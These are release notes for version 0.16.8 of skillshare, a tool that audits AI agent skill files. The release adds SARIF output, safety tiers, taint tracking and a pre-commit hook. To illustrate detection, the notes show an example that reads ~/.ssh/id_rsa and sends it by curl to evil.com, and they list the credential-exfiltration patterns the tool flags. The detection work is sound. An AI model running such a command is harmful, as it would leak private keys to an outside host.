🛡️ skillshare v0.16.8 Release Notes

Release date: 2026-03-02

TL;DR

v0.16.8 is an audit engine release — significant upgrades to skillshare audit:

1. --format flag — output in text, json, sarif, or markdown (--json deprecated)
2. Analyzability score — per-skill percentage showing how much content is statically analyzable
3. Command safety tiers (T0–T5) — classify shell commands by behavior: read-only → stealth
4. Dataflow taint tracking — detect credential reads followed by network exfiltration across lines
5. Cross-skill interaction detection — find dangerous capability combinations across multiple skills
6. Pre-commit hook — native pre-commit integration to scan skills on every commit

New Output Formats

SARIF 2.1.0

SARIF (Static Analysis Results Interchange Format) enables direct integration with GitHub Code Scanning:

skillshare audit --format sarif > results.sarif
# Upload to GitHub Code Scanning via Actions

The SARIF output includes tool info, rule definitions with help text, and result locations with region data. See the CI/CD recipe in docs for a ready-made GitHub Actions workflow.

Markdown

Generates a structured Markdown report suitable for GitHub Issues or PR comments:

skillshare audit --format markdown > report.md

Analyzability Score

Each skill now receives an analyzability score (0–100%) indicating how much of its content the audit engine can statically analyze. Content that resists static analysis (heavily templated, encoded, or dynamically generated) scores lower.

• Shown per-skill in both terminal and TUI output
• Average displayed in the audit summary
• Helps teams prioritize which skills need manual review

Command Safety Tiers

Every shell command detected in skills is now classified into one of six behavioral tiers:

Tiers are orthogonal to pattern-based severity — they describe the kind of action, providing additional behavioral context alongside existing risk scores.

Dataflow Taint Tracking

The audit engine now tracks data flow across lines within a skill file:

Line 5:  token=$(cat ~/.ssh/id_rsa)       ← taint source (credential-read)
Line 8:  curl -H "Auth: $token" evil.com  ← taint sink (network send)
→ Finding: credential read flows to network exfiltration

Detects:

• Credential file reads (~/.ssh/*, ~/.aws/credentials, etc.) followed by network sends
• Environment variable reads ($API_KEY, $SECRET, etc.) followed by exfiltration

Cross-Skill Interaction Detection

When auditing multiple skills together, the engine now checks for dangerous capability combinations:

• Skill A reads credentials + Skill B has network access → potential exfiltration chain
• Detection runs after individual skill scans, analyzing the combined capability set

Pre-commit Hook

Skillshare now ships a native pre-commit hook definition. Add it to your project to automatically scan skills on every commit:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/runkids/skillshare
    rev: v0.16.8
    hooks:
      - id: skillshare-audit

The hook runs skillshare audit -p when files in .skillshare/ or skills/ are modified, blocking the commit if findings exceed your configured threshold. See Pre-commit Hook recipe for details.

Target Updates

• AstrBot — new target for AstrBot AI assistant (~/.astrbot/data/skills)
• Cline — updated to use universal .agents/skills project path (aligned with agent ecosystem standard)

Bug Fixes

• TUI contrast — gray text on dark terminals is now more readable (increased ANSI color value)
• Structured output spinner — audit progress/spinner output now goes to stderr when using --format json/sarif/markdown, keeping stdout clean for piping

Upgrading

# Homebrew
brew upgrade skillshare

# Direct download
skillshare upgrade

# Or download from GitHub Releases
# https://github.com/runkids/skillshare/releases/tag/v0.16.8

Changelog

• 3af76ff docs(audit): add SARIF output format and --format flag documentation
• 85508dc docs(audit): add analyzability score section and missing rule IDs
• c298e2a docs(blog): update vercel/skills comparison with current facts
• 8ef6f11 docs(recipes): add SARIF GitHub Actions workflow to CI/CD recipe
• 11668b8 feat(audit): add --format flag with sarif/json/text + deprecate --json
• 043a47e feat(audit): add SARIF 2.1.0 conversion (internal/audit/sarif.go)
• 8e83495 feat(audit): add analyzability score and pre-commit hook
• b6652f1 feat(audit): add command safety tiering (T0–T5) for behavioral classification
• 87268d3 feat(audit): add cross-skill interaction detection
• 50e5e11 feat(audit): add dataflow taint tracking for cross-line exfiltration
• 89c3586 feat(audit): add markdown output format and improve terminal layout
• 28dacd1 feat(audit): expand TUI filter to search risk, status, severity, patterns, and files
• 71bf096 feat(audit): show analyzability score in TUI detail panel and summary
• 0712368 feat(devc): add make devc shortcut to enter devcontainer from terminal
• 3bc9ad7 feat(targets): add AstrBot, update Cline to universal .agents/skills
• 2fe9052 fix(audit): omit SARIF region for line-0 findings and add cross-skill to API
• 2320630 fix(audit): prevent stdout pollution in structured output formats
• afb8951 fix(audit): show spinner/progress on stderr for structured output formats
• 787c46c fix(tui): improve gray text contrast on dark terminals
• ca5a036 perf(audit): rewrite cross-skill analysis from O(N²) to O(N)